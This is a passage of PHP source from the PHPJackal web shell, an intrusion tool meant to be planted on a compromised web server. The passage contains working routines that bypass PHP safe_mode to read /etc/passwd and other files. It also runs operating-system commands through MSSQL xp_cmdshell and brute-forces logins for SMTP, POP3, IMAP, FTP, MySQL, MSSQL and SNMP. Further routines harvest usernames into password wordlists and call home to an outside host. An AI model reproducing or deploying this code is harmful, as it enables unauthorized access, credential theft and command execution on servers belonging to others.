1674else echo whereistmP().'/dump.sql';echo '" size="30" />
1675</div>
1676</div>
1677'.$hcwd.'<div class="buttonsdiv">
1678<input type="submit" value="Dump" style="margin-left: 150px;" />
1679</div></form><br />
1680<form method="POST" class="feedbackform"><div class="fieldwrapper">
1681<label class="styled" style="width:320px">Whois</label>
1682</div>
1683<div class="fieldwrapper">
1684<label class="styled">Server:</label>
1685<div class="thefield">
1686<input type="text" name=serveR value="';if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);
1687else echo 'whois.geektools.com';echo '" size="30" />
1688</div>
1689</div>
1690<div class="fieldwrapper">
1691<label class="styled">Domain:</label>
1692<div class="thefield">
1693<input type="text" name=domaiN value="';if (!empty($_REQUEST['domaiN'])) echo htmlspecialchars($_REQUEST['domaiN']);
1694else echo 'google.com';echo '" size="30" />
1695</div>
1696</div>'.$hcwd.'<div class="buttonsdiv">
1697<input type="submit" value="Whois" style="margin-left: 150px;" />
1698</div></form>
1699<br />
1700<form method="POST" class="feedbackform"><div class="fieldwrapper">
1701<label class="styled" style="width:320px">.ht* generator</label>
1702</div>
1703<div class="fieldwrapper">
1704<label class="styled">Username:</label>
1705<div class="thefield">
1706<input type="text" name=uN value="';if (!empty($_REQUEST['uN'])) echo htmlspecialchars($_REQUEST['uN']);
1707else echo 'r00t';echo '" size="30" />
1708</div>
1709</div>
1710<div class="fieldwrapper">
1711<label class="styled">Password:</label>
1712<div class="thefield">
1713<input type="text" name=pW value="';if (!empty($_REQUEST['pW']))echo htmlspecialchars($_REQUEST['pW']);
1714else echo uniqid('@');echo '" size="30" />
1715</div>
1716</div>
1717<div class="fieldwrapper">
1718<label class="styled">Directory:</label>
1719<div class="thefield">
1720<input type="text" name=ouT value="';if (!empty($_REQUEST['ouT'])) echo htmlspecialchars($_REQUEST['ouT']);
1721else echo $cwd;echo '" size="30" />
1722</div>
1723</div>'.$hcwd.'<div class="buttonsdiv">
1724<input type="submit" value="Generate" style="margin-left: 150px;" />
1725</div></form>
1726<br />
1727<form method="POST" class="feedbackform"><div class="fieldwrapper">
1728<label class="styled" style="width:320px">Header grabber</label>
1729</div>
1730<div class="fieldwrapper">
1731<label class="styled">URL:</label>
1732<div class="thefield">
1733<input type="text" name=urL value="';if (!empty($_REQUEST['urL'])) echo htmlspecialchars($_REQUEST['urL']);
1734else echo 'http://h.ackerz.com/index.php';echo '" size="30" />
1735</div>
1736</div>'
1737.$hcwd.'<div class="buttonsdiv">
1738<input type="submit" value="Get" style="margin-left: 150px;" />
1739</div></form>';}
1740function hexvieW(){
1741if(!empty($_REQUEST['filE'])){
1742$f=$_REQUEST['filE'];
1743echo "<table border=0 style='border-collapse: collapse' width='100%'><th width='10%' bgcolor='#282828'>Offset</th><th width='25%' bgcolor='#282828'>Hex</th><th width='25%' bgcolor='#282828'></th><th width='40%' bgcolor='#282828'>ASCII</th></tr>";
1744$file=fopen($f,'r');
1745$i=-1;
1746while(!feof($file)){
1747$ln='';
1748$i++;
1749echo "<tr><td width='10%' bgcolor='#";
1750if($i % 2==0)echo '666666';else echo '808080';
1751echo "'>";echo str_repeat('0',(8-strlen(dechex($i*16)))).dechex($i*16);echo '</td>';
1752echo "<td width='25%' bgcolor='#";
1753if($i % 2==0)echo '666666';else echo '808080';
1754echo "'>";
1755for($j=0;$j<=7;$j++){
1756if(!feof($file)){
1757$tmp=strtoupper(dechex(ord(fgetc($file))));
1758if(strlen($tmp)==1)$tmp='0'.$tmp;
1759echo $tmp.' ';
1760$ln.=$tmp;
1761}
1762}
1763echo "</td><td width='25%' bgcolor='#";
1764if($i % 2==0)echo '666666';else echo '808080';
1765echo "'>";
1766for($j=7;$j<=14;$j++){
1767if(!feof($file)){
1768$tmp=strtoupper(dechex(ord(fgetc($file))));
1769if(strlen($tmp)==1)$tmp='0'.$tmp;
1770echo $tmp.' ';
1771$ln.=$tmp;
1772}
1773}
1774echo "</td><td width='40%' bgcolor='#";
1775if($i % 2==0)echo '666666';else echo '808080';
1776echo "'>";
1777$n=0;$asc='';$co=0;
1778for($k=0;$k<=16;$k++){
1779$co=hexdec(substr($ln,$n,2));
1780if(($co<=31)||(($co>=127)&&($co<=160)))$co=46;
1781$asc.=chr($co);
1782$n+=2;
1783}
1784echo htmlspecialchars($asc);
1785echo '</td></tr>';
1786}
1787}
1788fclose($file);
1789echo '</table>';
1790}
1791function safemodE(){
1792global $windows,$hcwd;
1793$file=(empty($_REQUEST['file']))?'/etc/passwd':$_REQUEST['file'];
1794$pr="\r\n</font><font color=green>Method ";
1795$po=")</font><font color=blue>\r\n";
1796$i=1;
1797echo '<img src="http://h.ackerz.com/PHPJackal/images/safemode.png" style="border: none; margin: 0;" /><br /><br />';
1798if(!empty($_REQUEST['read'])){
1799echo "<pre>$pr$i:(ini_restore$po";
1800ini_restore('safe_mode');ini_restore('open_basedir');
1801readfile($file);
1802$i++;
1803echo "$pr$i:(include$po";
1804include($file);
1805$i++;
1806echo "$pr$i:(copy$po";
1807$tmp=tempnam('','cx');
1808copy('compress.zlib://'.$file,$tmp);
1809$fh=fopen($tmp,'r');
1810$data=fread($fh,filesize($tmp));
1811fclose($fh);
1812echo $data;
1813$i++;
1814if(function_exists('mb_send_mail')){
1815echo "$pr$i:(mb_send_mail$po";
1816if(file_exists('/tmp/mb_send_mail'))unlink('/tmp/mb_send_mail');
1817mb_send_mail(NULL, NULL, NULL, NULL,'-C $file -X /tmp/mb_send_mail');
1818readfile('/tmp/mb_send_mail');
1819$i++;
1820}
1821if(function_exists('curl_init')){
1822echo "$pr$i:(curl_init [A]$po";
1823$fh=curl_init('file://'.$file.'');
1824$tmp=curl_exec($fh);
1825echo $tmp;
1826$i++;
1827echo "$pr$i:(curl_init [B]$po";
1828$i++;
1829if(strstr($file,DIRECTORY_SEPARATOR))$ch=curl_init('file:///'.$file."\x00/../../../../../../../../../../../../".__FILE__);
1830else $ch=curl_init('file://'.$file."\x00".__FILE__);
1831var_dump(curl_exec($ch));
1832}
1833if(is_writable('.')){
1834echo "$pr$i:(php.ini$po";
1835file_put_contents('php.ini','safe_mode = Off');
1836readfile($file);
1837unlink('php.ini');
1838$i++;
1839}
1840if(extension_loaded('perl')){
1841echo "$pr$i:(perl$po";
1842echo perlshelL("type \"$file\"");
1843$i++;
1844}
1845if(is_object($ws=new COM('WScript.Shell'))){
1846echo "$pr$i:(COM$po";
1847echo comshelL("type \"$file\"",$ws);
1848$i++;
1849}
1850if(extension_loaded('ffi') && $windows){
1851echo "$pr$i:(FFI$po";
1852echo ffishelL("type \"$file\"");
1853$i++;
1854}
1855if(checkfunctioN('win_shell_execute')){
1856echo "$pr$i:(win32std$po";
1857echo winshelL("type \"$file\"");
1858$i++;
1859}
1860if(checkfunctioN('win32_create_service')){
1861echo "$pr$i:(win32service$po";
1862echo srvshelL("type \"$file\"");
1863$i++;
1864}
1865if(function_exists('imap_open')){
1866echo "$pr$i:(imap [A]$po";
1867$str=imap_open('/etc/passwd','','');
1868$list=imap_list($str,$file,'*');
1869for($i=0;$i<count($list);$i++)echo $list[$i]."\n";
1870imap_close($str);
1871$i++;
1872echo "$pr$i:(imap [B]$po";
1873$str=imap_open($file,'','');
1874$tmp=imap_body($str,1);
1875echo $tmp;
1876imap_close($str);
1877$i++;
1878}
1879if($file=='/etc/passwd'){
1880echo "$pr$i:(posix$po";
1881for($uid=0;$uid<99999;$uid++){
1882$h=posix_getpwuid($uid);
1883if(!empty($h))foreach($h as $v)echo "$v:";
1884echo "\r\n";
1885}
1886}
1887echo "\n</pre></font>";
1888}
1889elseif(!empty($_REQUEST['show'])){
1890echo "<pre>$pr$i:(glob$po";
1891$con=glob("$file*");
1892foreach ($con as $v)echo "$v\n";
1893$i++;
1894if(function_exists('imap_open')){
1895echo "$pr$i:(imap$po";
1896$str=imap_open('/etc/passwd','','');
1897$s=explode("|",$file);
1898if(count($s)>1)$list=imap_list($str,trim($s[0]),trim($s[1]));else $list=imap_list($str,trim($str[0]),'*');
1899for($i=0;$i<count($list);$i++)echo "$list[$i]\r\n";
1900imap_close($str);
1901$i++;
1902}
1903if(is_object($ws=new COM('WScript.Shell'))){
1904echo "$pr$i:(COM$po";
1905$exec=comshelL("dir \"$file\"",$ws);
1906$exec=str_replace("\t",'',$exec);
1907echo $exec;
1908$i++;
1909}
1910if(checkfunctioN('win_shell_execute')){
1911echo "$pr$i:(win32std$po";
1912echo winshelL("dir \"$file\"");
1913$i++;
1914}
1915if(checkfunctioN('win32_create_service')){
1916echo "$pr$i:(win32service$po";
1917echo srvshelL("dir \"$file\"");
1918$i++;
1919}
1920echo "\n</pre></font>";
1921}
1922elseif(!empty($_REQUEST['sql'])){
1923$ta=uniqid('N');
1924$s=array("CREATE TEMPORARY TABLE $ta (file LONGBLOB)","LOAD DATA INFILE '".addslashes($_REQUEST['file'])."' INTO TABLE $ta","SELECT * FROM $ta");
1925$l=mysql_connect('localhost', $_REQUEST['user'], $_REQUEST['pass']);
1926mysql_select_db($_REQUEST['db'],$l);
1927echo '<pre><font color=blue>';
1928foreach($s as $v){
1929$q = mysql_query($v,$l);
1930while($d=mysql_fetch_row($q))echo htmlspecialchars($d[0]);
1931}
1932echo '</pre></font>';
1933}
1934elseif(!empty($_REQUEST['serveR']) && !empty($_REQUEST['coM']) && !empty($_REQUEST['dB']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS'])){
1935$res='';
1936$tb=uniqid('NJ');
1937$db=mssql_connect($_REQUEST['serveR'],$_REQUEST['useR'],$_REQUEST['pasS']);
1938mssql_select_db($_REQUEST['dB'],$db);
1939mssql_query("create table $tb ( string VARCHAR (500) NULL)",$db);
1940mssql_query("insert into $tb EXEC master.dbo.xp_cmdshell '".$_REQUEST['coM']."'",$db);
1941$re=mssql_query("select * from $tb",$db);
1942while(($row=mssql_fetch_row($re)))
1943{
1944$res.= $row[0]."\r\n";
1945}
1946mssql_query("drop table $tb",$db);
1947mssql_close($db);
1948echo "<center><textarea rows='18' cols='64'>$res</textarea></center><br>";
1949}
1950$f=(!empty($_REQUEST['file']))?htmlspecialchars($_REQUEST['file']):'/etc/passwd';
1951$u=(!empty($_REQUEST['user']))?htmlspecialchars($_REQUEST['user']):'root';
1952$p=(!empty($_REQUEST['pass']))?htmlspecialchars($_REQUEST['pass']):'123456';
1953$d=(!empty($_REQUEST['db']))?htmlspecialchars($_REQUEST['db']):'test';
1954echo '
1955<form name="client" method="POST">
1956<div class="fieldwrapper">
1957<label class="styled" style="width:320px">Use PHP Bugs</label>
1958</div><div class="fieldwrapper">
1959<label class="styled">File:</label>
1960<div class="thefield">
1961<input type="text" name="file" value="'.$f.'" size="30" />
1962</div>
1963</div>'.$hcwd.'<div class="buttonsdiv">
1964<input type="submit" name="read" value="Read File" style="margin-left: 150px;" />
1965</div>
1966<div class="buttonsdiv">
1967<input type="submit" name="show" value="List directory" style="margin-left: 150px;" />
1968</div>
1969</form>
1970<br />
1971<form name="client1" method="POST">
1972<div class="fieldwrapper">
1973<label class="styled" style="width:320px">Use MySQL</label>
1974</div><div class="fieldwrapper">
1975<label class="styled">File:</label>
1976<div class="thefield">
1977<input type="text" name="file" value="'.$f.'" size="30" />
1978</div>
1979</div><div class="fieldwrapper">
1980<label class="styled">Username:</label>
1981<div class="thefield">
1982<input type="text" name="user" value="'.$u.'" size="30" />
1983</div>
1984</div><div class="fieldwrapper">
1985<label class="styled">Password:</label>
1986<div class="thefield">
1987<input type="text" name="pass" value="'.$p.'" size="30" />
1988</div>
1989</div><div class="fieldwrapper">
1990<label class="styled">Database:</label>
1991<div class="thefield">
1992<input type="text" name="db" value="'.$d.'" size="30" />
1993</div>
1994</div>'.$hcwd.'
1995<div class="buttonsdiv">
1996<input type="submit" name="sql" value="Read" style="margin-left: 150px;" />
1997</div>
1998</form>
1999<br />
2000<form name="client2" method="POST">
2001<div class="fieldwrapper">
2002<label class="styled" style="width:320px">MSSQL Exec</label>
2003</div><div class="fieldwrapper">
2004<label class="styled">Server:</label>
2005<div class="thefield">
2006<input type="text" name="serveR" value="';if(!empty($_REQUEST['serveR']))echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost'; echo '" size="30" />
2007</div>
2008</div><div class="fieldwrapper">
2009<label class="styled">Username:</label>
2010<div class="thefield">
2011<input type="text" name="useR" value="';if(!empty($_REQUEST['useR']))echo htmlspecialchars($_REQUEST['useR']); else echo 'sa'; echo '" size="30" />
2012</div>
2013</div><div class="fieldwrapper">
2014<label class="styled">Password:</label>
2015<div class="thefield">
2016<input type="text" name="pasS" value="';if (!empty($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);echo '" size="30" />
2017</div>
2018</div><div class="fieldwrapper">
2019<label class="styled">Command:</label>
2020<div class="thefield">
2021<input type="text" name="coM" value="';if (!empty($_REQUEST['coM'])) echo htmlspecialchars($_REQUEST['coM']);else echo 'dir c:';echo '" size="30" />
2022</div>
2023</div><div class="fieldwrapper">
2024<label class="styled">Database:</label>
2025<div class="thefield">
2026<input type="text" name="dB" value="';if (!empty($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']);else echo 'master';echo '" size="30" />
2027</div>
2028</div>'.$hcwd.'
2029<div class="buttonsdiv">
2030<input type="submit" value="Execute" style="margin-left: 150px;" />
2031</div>
2032</form>
2033';
2034}
2035function crackeR(){
2036global $hcwd,$cwd;
2037echo '<img src="http://h.ackerz.com/PHPJackal/images/cracker.png" style="border: none; margin: 0;" /><br /><br />';
2038$check=(!empty($_REQUEST['dictionary']) && !empty($_REQUEST['target']))?1:0;
2039if(!empty($_REQUEST['cracK']) && !$check){
2040$c=htmlspecialchars($_REQUEST['cracK']);
2041echo '<form name=cracker method="POST">
2042<div class="fieldwrapper">
2043<label class="styled" style="width:320px">'.$c.' cracker</label>
2044</div>
2045<div class="fieldwrapper">
2046<label class="styled">Target:</label>
2047<div class="thefield">
2048<input type="text" name="target" size="30" />
2049</div>
2050</div>
2051<div class="fieldwrapper">
2052<label class="styled">Userlist:</label>
2053<div class="thefield">
2054<input type="text" name="dictionary" size="30" />
2055</div>
2056</div>
2057<div class="fieldwrapper">
2058<label class="styled"><input type=checkbox name=combo value=1 onClick="document.cracker.passlst.disabled = !document.cracker.passlst.disabled;"> Combo</label>
2059<div class="thefield">
2060<input type=text name=passlst size=20 value="/tmp/passlist.txt">
2061</div>
2062</div>
2063<div class="fieldwrapper">
2064<label class="styled"><input type=checkbox name=loG value=1 onClick="document.cracker.logfilE.disabled = !document.cracker.logfilE.disabled;" checked> Log:</label>
2065<div class="thefield">
2066<input type=text name=logfilE size=25 value="'.whereistmP().DIRECTORY_SEPARATOR.'.log">
2067</div>
2068</div>
2069'.$hcwd.'
2070<div class="buttonsdiv">
2071<input type="submit" value="Start" style="margin-left: 150px;" />
2072</div>
2073</form>';
2074}
2075elseif(!empty($_REQUEST['cracK']) && $check){
2076$pro=strtolower($_REQUEST['cracK']).'checK';
2077$target=$_REQUEST['target'];
2078$type=$_REQUEST['combo'];
2079$user=(!empty($_REQUEST['user']))?$_REQUEST['user']:'';
2080$dictionary=fopen($_REQUEST['dictionary'],'r');
2081if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
2082if($dictionary){
2083echo '<font color=blue>Cracking '.htmlspecialchars($target).'...<br>';
2084if(!$type)$pl=file($_REQUEST['passlst']);
2085while(!feof($dictionary)){
2086if($type){
2087$combo=trim(fgets($dictionary)," \n\r");
2088$user=substr($combo,0,strpos($combo,':'));
2089$pass=substr($combo,strpos($combo,':')+1);
2090$ret=$pro($target,$user,$pass,5);
2091if($ret==-1){echo "Can not connect to server.";break;}elseif($ret){$x="U: $user P: $pass";echo "$x<br />";if($log)file_add_contentS($file,"$x\r\n");}
2092}else{
2093$user=trim(fgets($dictionary)," \n\r");
2094foreach ($pl as $pass){
2095$pass=trim($pass);
2096$ret=$pro($target,$user,$pass,5);
2097if($ret==-1){echo "Can not connect to server.";break 2;}elseif($ret){$x="U: $user P: $pass";echo "$x<br />";break;if($log)file_add_contentS($file,"$x\r\n");}
2098}
2099}
2100}
2101echo '<br />Done</font>';
2102fclose($dictionary);
2103}
2104else{
2105echo "Can not open dictionary.";
2106}
2107}
2108else{
2109echo '<ul>
2110<li><a href="'.hlinK("seC=hc&workingdiR=$cwd").'">Hash</a></li>
2111<li><a href="'.hlinK("seC=cr&cracK=SMTP&workingdiR=$cwd").'">SMTP</a></li>
2112<li><a href="'.hlinK("seC=cr&cracK=POP3&workingdiR=$cwd").'">POP3</a></li>
2113<li><a href="'.hlinK("seC=cr&cracK=IMAP&workingdiR=$cwd").'">IMAP</a></li>
2114<li><a href="'.hlinK("seC=cr&cracK=FTP&workingdiR=$cwd").'">FTP</a></li>
2115<li><a href="'.hlinK("seC=snmp&workingdiR=$cwd").'">SNMP</a></li>
2116<li><a href="'.hlinK("seC=cr&cracK=MySQL&workingdiR=$cwd").'">MySQL</a></li>
2117<li><a href="'.hlinK("seC=cr&cracK=MSSQL&workingdiR=$cwd").'">MSSQL</a></li>
2118<li><a href="'.hlinK("seC=fcr&workingdiR=$cwd").'">HTTP Form</a></li>
2119<li><a href="'.hlinK("seC=auth&workingdiR=$cwd").'">HTTP Auth(basic)</a></li>
2120<li><a href="'.hlinK("seC=dic&workingdiR=$cwd").'">Dictionary maker</a></li>
2121</ul>';
2122}
2123}
2124function phpjackal(){
2125 global $VERSION,$cwd;
2126 if(!empty($_REQUEST['chkveR'])){
2127 echo file_get_contents("http://h.ackerz.com/PHPJackal/chkver.php?v=$VERSION");
2128 }else
2129 echo '<img src="http://h.ackerz.com/PHPJackal/images/phpjackal.png" style="border: none; margin: 0;" /><br /><br /><ul><li><a href="'.hlinK("seC=phpjackal&workingdiR=$cwd&chkveR=1").'">Check version</a></li><li><a href="#" onclick="if(confirm(\'Are you sure?\'))window.location=\''.hlinK("seC=phpjackal&workingdiR=$cwd&slfrmv=1").'\';">Self removal</a></li></ul>';
2130}
2131function snmpcrackeR(){
2132global $hcwd;
2133if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
2134$target=$_REQUEST['target'];
2135if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
2136$dictionary=fopen($_REQUEST['dictionary'],'r');
2137if($dictionary){
2138echo '<font color=blue>Cracking '.htmlspecialchars($target).'...<br>';
2139while(!feof($dictionary)){
2140$com=trim(fgets($dictionary)," \n\r");
2141$res=snmpchecK($target,$com,2);
2142if($res){echo "$com<br>";if($log)file_add_contentS($file,"$com\r\n");}
2143}
2144echo '<br>Done</font>';
2145fclose($dictionary);
2146}
2147else{
2148echo "Can not open dictionary.";
2149}
2150}else
2151echo '<form name=cracker method="POST">
2152<div class="fieldwrapper">
2153<label class="styled" style="width:320px">SNMP cracker</label>
2154</div><div class="fieldwrapper">
2155<label class="styled">Dictionary:</label>
2156<div class="thefield">
2157<input type="text" name="dictionary" size="30" />
2158</div>
2159</div><div class="fieldwrapper">
2160<label class="styled">Target:</label>
2161<div class="thefield">
2162<input type="text" name="target" size="30" />
2163</div>
2164</div><div class="fieldwrapper">
2165<label class="styled"><input type=checkbox name=loG value=1 onClick="document.hashform.logfilE.disabled = !document.cracker.logfilE.disabled;" checked> Log:</label>
2166<div class="thefield">
2167<input type=text name=logfilE size=25 value="'.whereistmP().DIRECTORY_SEPARATOR.'.log">
2168</div>
2169</div>
2170'.$hcwd.'
2171<div class="buttonsdiv">
2172<input type="submit" value="Start" style="margin-left: 150px;" />
2173</div>
2174</form>';
2175}
2176function dicmakeR(){
2177global $windows,$hcwd;
2178$combo=(empty($_REQUEST['combo']))?0:1;
2179if(!empty($_REQUEST['range'])&& !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){
2180$min=$_REQUEST['min'];
2181$max=$_REQUEST['max'];
2182if($max<$min){echo"Bad input!";return;};
2183$s=$w='';
2184$out=$_REQUEST['output'];
2185$r=$_REQUEST['range'];
2186$dic=fopen($out,'w');
2187if($r==1){
2188for($s=pow(10,$min-1);$s<pow(10,$max-1);$s++){
2189$w=$s;
2190if($combo)$w="$w:$w";
2191fwrite($dic,$w."\n");
2192}
2193}
2194else{
2195$s=str_repeat($r,$min);
2196while(strlen($s)<$max){
2197$w=$s;
2198if($combo)$w="$w:$w";
2199fwrite($dic,$w."\n");
2200$s++;
2201}
2202}
2203fclose($dic);
2204echo '<font color=blue>Done</font>';
2205}
2206elseif(!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){
2207$input=fopen($_REQUEST['input'],'r');
2208if(!$input){
2209if($windows)echo 'Unable to read from '.htmlspecialchars($_REQUEST['input'])."<br />";
2210else{
2211$input=explode("\n",shelL("cat $input"));
2212$output=fopen($_REQUEST['output'],'w');
2213if($output){
2214foreach($input as $in){
2215$user=$in;
2216$user=trim(fgets($in)," \n\r");
2217if(!strstr($user,':'))continue;
2218$user=substr($user,0,(strpos($user,':')));
2219if($combo)fwrite($output,$user.':'.$user."\n");else fwrite($output,$user."\n");
2220}
2221fclose($input);fclose($output);
2222echo '<font color=blue>Done</font>';
2223}
2224}
2225}
2226else{
2227$output=fopen($_REQUEST['output'],'w');
2228if($output){
2229while(!feof($input)){
2230$user=trim(fgets($input)," \n\r");
2231if(!strstr($user,':'))continue;
2232$user=substr($user,0,(strpos($user,':')));
2233if($combo)fwrite($output,$user.':'.$user."\n");else fwrite($output,$user."\n");
2234}
2235fclose($input);fclose($output);
2236echo '<font color=blue>Done</font>';
2237}
2238else echo 'Unable to write data to '.htmlspecialchars($_REQUEST['input'])."<br />";
2239}
2240}elseif(!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){
2241$res=downloadiT($_REQUEST['url'],$_REQUEST['output']);
2242if($combo && $res){
2243$file=file($_REQUEST['output']);
2244$output=fopen($_REQUEST['output'],'w');
2245foreach($file as $v)fwrite($output,"$v:$v\n");
2246fclose($output);
2247}
2248echo '<font color=blue>Done</font>';
2249}else{
2250$temp=whereistmP().DIRECTORY_SEPARATOR;
2251echo '<form name=wordlist method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Wordlist generator</label>
2252</div><div class="fieldwrapper"><label class="styled">Range:</label><div class="thefield"><select name=range><option value=a>a-z</option><option value=A>A-Z</option><option value=1>0-9</option></select>
2253</div></div><div class="fieldwrapper"><label class="styled">min lenght:</label><div class="thefield"><select name=min><option value=1>1</option><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8>8</option><option value=9>9</option><option value=10>10</option></select></div>
2254</div><div class="fieldwrapper"><label class="styled">Max lenght:</label><div class="thefield"><select name=max><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8>8</option><option value=9>9</option><option value=10>10</option><option value=11>11</option></select></div>
2255</div><div class="fieldwrapper"><label class="styled">Output:</label><div class="thefield"><input type="text" name="output" value="'.$temp.'.dic" size="30" /></div>
2256</div><div class="fieldwrapper"><label class="styled">Format:</label><div class="thefield"><input type=checkbox name=combo value=1 checked> Combo style output
2257</div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Make" style="margin-left: 150px;" /></div></form><br /><form name=grab method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Grab dictionary</label></div><div class="fieldwrapper"><label class="styled">Input:</label><div class="thefield"><input type="text" name="input" value="/etc/passwd" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Output:</label><div class="thefield"><input type="text" name="output" value="'.$temp.'.dic" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Format:</label><div class="thefield"><input type=checkbox name=combo value=1 checked> Combo style output</div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Grab" style="margin-left: 150px;" />
2258</div></form><br /><form name=dldic method="POST"><div class="fieldwrapper"><label class="styled" style="width:320px">Download dictionary</label>
2259</div><div class="fieldwrapper"><label class="styled">URL:</label><div class="thefield"><input type="text" name="url" value="http://people.sc.fsu.edu/~jburkardt/datasets/words/wordlist.txt" size="30" />
2260</div></div><div class="fieldwrapper"><label class="styled">Output:</label><div class="thefield"><input type="text" name="output" value="'.$temp.'.dic" size="30" /></div></div><div class="fieldwrapper"><label class="styled">Format:</label><div class="thefield"><input type=checkbox name=combo value=1 checked> Combo style output</div></div>'.$hcwd.'<div class="buttonsdiv"><input type="submit" value="Get" style="margin-left: 150px;" /></div></form><br />';
2261}
2262}
2263function ftpclienT(){
2264global $cwd,$hcwd;
2265echo '<img src="http://h.ackerz.com/PHPJackal/images/ftp.png" style="border: none; margin: 0;" /><br /><br />';
2266if(!empty($_REQUEST['hosT']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS']) && function_exists('ftp_connect')){
2267$user=$_REQUEST['useR'];$pass=$_REQUEST['pasS'];$host=$_REQUEST['hosT'];
2268$con=ftp_connect($_REQUEST['hosT'],21,10);
2269if($con){
2270if(ftp_login($con,$user,$pass)){
2271if(!empty($_REQUEST['PWD']))ftp_chdir($con,$_REQUEST['PWD']);
2272if(!empty($_REQUEST['filE'])){
2273$file=$_REQUEST['filE'];
2274$mode=(isset($_REQUEST['modE']))?FTP_BINARY:FTP_ASCII;
2275if(isset($_REQUEST['geT']))ftp_get($con,$file,$file,$mode);
2276elseif(isset($_REQUEST['puT']))ftp_put($con,$file,$file,$mode);
2277elseif(isset($_REQUEST['rM'])){
2278ftp_rmdir($con,$file);
2279ftp_delete($con,$file);
2280}
2281elseif(isset($_REQUEST['mD']))ftp_mkdir($con,$file);
2282}
2283$pwd=ftp_pwd($con);
2284$dir=ftp_nlist($con,'');
2285$d=opendir($cwd);
2286echo "<table border=0 cellspacing=0 cellpadding=0><tr><th>$host</th><th>";if(!empty($_SERVER['SERVER_ADDR']))echo $_SERVER['SERVER_ADDR'];else echo'127.0.0.1'; echo "</th></tr><form method=POST><tr><td><input type=text value='$pwd' name=PWD size=50><input value=Change class=buttons type=submit></td><td><input size=50 type=text value='$cwd' name=workingdiR><input value=Change class=buttons type=submit></td></tr><tr><td>";
2287foreach($dir as $n)echo "$n<br />";
2288echo "</td><td>";while($cdir=readdir($d))if($cdir!='.' && $cdir!='..')echo "$cdir<br>"; echo "</td></tr><tr><td colspan=2>Name:<input type=text name=filE><input type=checkbox style='border-width:1px;background-color:#333333;' name=modE value=1>Binary <input type=submit name=geT class=buttons value=Get><input type=submit name=puT class=buttons value=Put><input type=submit name=rM class=buttons value=Remove><input type=submit name=mD class=buttons value='Make dir'></td><td><input type=hidden value='$user' name=useR><input type=hidden value='$pass' name=pasS><input type=hidden value='$host' name=hosT></form></tr></td></table>";
2289}else echo "Wrong username or password!";
2290}else echo "Can not connect to server!";
2291}
2292else{
2293echo '
2294<form name=client method="POST">
2295<div class="fieldwrapper">
2296<label class="styled" style="width:320px">FTP client</label>
2297</div><div class="fieldwrapper">
2298<label class="styled">Server:</label>
2299<div class="thefield">
2300<input type="text" name="hosT" value="localhost" size="30" />
2301</div>
2302</div><div class="fieldwrapper">
2303<label class="styled">Username:</label>
2304<div class="thefield">
2305<input type="text" name="useR" value="anonymous" size="30" />
2306</div>
2307</div><div class="fieldwrapper">
2308<label class="styled">Password:</label>
2309<div class="thefield">
2310<input type="text" name="pasS" value="admin@nasa.gov" size="30" />
2311</div>
2312</div>
2313'.$hcwd.'
2314<div class="buttonsdiv">
2315<input type="submit" value="Connect" style="margin-left: 150px;" />
2316</div></form>';
2317}
2318}
2319function calC(){
2320global $hcwd;
2321echo '<img src="http://h.ackerz.com/PHPJackal/images/converter.png" style="border: none; margin: 0;" /><br /><br />';
2322$fu=array('-','md5','sha1','crc32','hex','ip2long','decbin','dechex','hexdec','bindec','long2ip','base64_encode','base64_decode','urldecode','urlencode','des','strrev');
2323if(!empty($_REQUEST['input']) && (in_array($_REQUEST['to'],$fu))){
2324$to=$_REQUEST['to'];
2325echo '<form class="form" method="POST">';
2326echo '<div class="fieldwrapper">
2327<label class="styled">Output:</label>
2328<div class="thefield"><textarea readonly="readonly">';
2329if($to=='hex')for($i=0;$i<strlen($_REQUEST['input']);$i++)echo '%'.strtoupper(dechex(ord($_REQUEST['input']{$i})));
2330else echo $to($_REQUEST['input']);
2331echo '</textarea></div></div>';
2332}
2333echo '
2334<form method="POST" class="form">
2335<div class="fieldwrapper">
2336<label class="styled">Input:</label>
2337<div class="thefield">
2338<textarea name="input">';if(!empty($_REQUEST['input']))echo htmlspecialchars($_REQUEST['input']);echo '</textarea>
2339</div>
2340</div><div class="fieldwrapper">
2341<label class="styled">Function:</label>
2342<div class="thefield">
2343<select name="to">
2344<option value="md5">MD5</option>
2345<option value="sha1">SHA1</option>
2346<option value="crc32">Crc32</option>
2347<option value="strrev">Reverse</option>
2348<option value="ip2long">IP to long</option>
2349<option value="long2ip">Long to IP</option>
2350<option value="decbin">Decimal to binary</option>
2351<option value="bindec">Binary to decimal</option>
2352<option value="dechex">Decimal to hex</option>
2353<option value="hexdec">Hex to decimal</option>
2354<option value="hex">ASCII to hex</option>
2355<option value="urlencode">URL encoding</option>
2356<option value="urldecode">URL decoding</option>
2357<option value="base64_encode">Base64 encoding</option>
2358<option value="base64_decode">Base64 decoding</option>
2359</select>
2360</div>
2361</div>'.$hcwd.'
2362<div class="buttonsdiv">
2363<input type="submit" value="Convert" style="margin-left: 150px;" />
2364</div>
2365</form>';
2366}
2367function stegn0(){
2368 global $hcwd;
2369 echo '<img src="http://h.ackerz.com/PHPJackal/images/stegno.png" style="border: none; margin: 0;" /><br /><br />';
2370 if(!extension_loaded('gd')){
2371 echo "GD extension is not installed. You can't use this section without it.";
2372 return;
